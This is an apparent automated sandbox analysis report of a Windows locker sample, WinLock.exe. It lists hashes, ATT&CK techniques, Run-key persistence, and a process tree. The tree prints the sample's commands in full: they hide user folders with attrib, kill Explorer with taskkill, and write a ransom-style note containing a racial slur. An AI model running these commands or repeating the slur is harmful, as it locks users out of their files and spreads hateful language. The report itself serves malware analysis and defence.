4c1323dda0eb153967cec2d1e69db40b1b9a69897f954921428d0d8ea516ffa8

Analysis

max time kernel
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 21:27

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General

Target
WinLock.exe
Size 209KB
Sample260806-1apyva1cnf
SHA256 4c1323dda0eb153967cec2d1e69db40b1b9a69897f954921428d0d8ea516ffa8
MD5 a494c95b8bcbf4eba8a118189b2dd552
SHA1 32b35442405f65d88799d4cab76d3a0f092f0d28
SHA512 92b5fe97bacf7881437126c02f90fe1925195d76be5e6cade28107dd1c0cdd5f2abdbe75b28ea868efc725e06788136b6b639fb894f01e85125c9edcb40cd5c2
SSDEEP 6144:eEhfGkHBdZznRtjUmx9aygCSCpMW90KImQijnfbfL:p++ddj
TLSH
T193245C98136AC93DC2BE27BED0A611060BF0B217D503E74CAFF8A0E66D37711A755A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\" -startup"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\WinLock.exe\""	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	WinLock.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3986082593-3624157295-3514260330-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	WinLock.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2004	cmd.exe
3308	cmd.exe
5416	cmd.exe
4940	cmd.exe
1988	cmd.exe
1536	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
5032	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2040	WinLock.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2040	WinLock.exe
Token: SeDebugPrivilege	5032	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 2040 wrote to memory of 1536	2040	WinLock.exe	90
PID 2040 wrote to memory of 1988	2040	WinLock.exe	91
PID 2040 wrote to memory of 4940	2040	WinLock.exe	92
PID 2040 wrote to memory of 2004	2040	WinLock.exe	93
PID 2040 wrote to memory of 5416	2040	WinLock.exe	94
PID 2040 wrote to memory of 3308	2040	WinLock.exe	95
PID 2040 wrote to memory of 5032	2040	WinLock.exe	96
PID 1536 wrote to memory of 5292	1536	cmd.exe	114
PID 4940 wrote to memory of 704	4940	cmd.exe	115
PID 2004 wrote to memory of 4392	2004	cmd.exe	116
PID 1988 wrote to memory of 3428	1988	cmd.exe	117
PID 3308 wrote to memory of 2880	3308	cmd.exe	118
PID 5416 wrote to memory of 5040	5416	cmd.exe	119
PID 1536 wrote to memory of 5172	1536	cmd.exe	120
PID 2004 wrote to memory of 4556	2004	cmd.exe	122
PID 1988 wrote to memory of 4604	1988	cmd.exe	124
PID 5416 wrote to memory of 4880	5416	cmd.exe	125
PID 4940 wrote to memory of 3260	4940	cmd.exe	126
PID 3308 wrote to memory of 2964	3308	cmd.exe	123

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2964	attrib.exe
3428	attrib.exe
2880	attrib.exe
5172	attrib.exe
704	attrib.exe
3260	attrib.exe
5292	attrib.exe
5040	attrib.exe
4392	attrib.exe
4556	attrib.exe
4880	attrib.exe
4604	attrib.exe

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2040
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1536
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5292
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5172
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:1988
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:3428
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4604
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:704
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3260
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2004
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:4392
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4556
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:5416
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5040
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4880
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] Niggers 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3308
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:2880
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2964
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:5032

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe" -startup
1⤵
PID:4328

C:\Users\Admin\AppData\Local\Temp\WinLock.exe
"C:\Users\Admin\AppData\Local\Temp\WinLock.exe"
1⤵
PID:1380

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 19B
SHA256 0010d586c2b06c53fc9467416a9b31f106c1cecdf55d90fc82c07d0d4dc5ccfa
MD5 e76b7c95611624526695c23778b77678
SHA1 83521796090cb78001975e5eda24e57b000f7741
SHA512 617642fa4b99d22a949c35d4541dda02e71fe578b9fcf2c9c4907f47f238c6837dc610df801c82a1652eec9e0533816fe9362f644486a923937421834e7b7ad1
MD5 SHA1 SHA512

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memory/2040-4-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-14-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-3-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-1-0x0000000000BB0000-0x0000000000BEA000-memory.dmp

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memory/2040-5-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-9-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-10-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-11-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-2-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-12-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-13-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-0-0x00007FF9BC2AF000-0x00007FF9BC2B0000-memory.dmp

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memory/2040-27-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-28-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-29-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-30-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-31-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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memory/2040-32-0x00007FF9BC120000-0x00007FF9BCAC4000-memory.dmp

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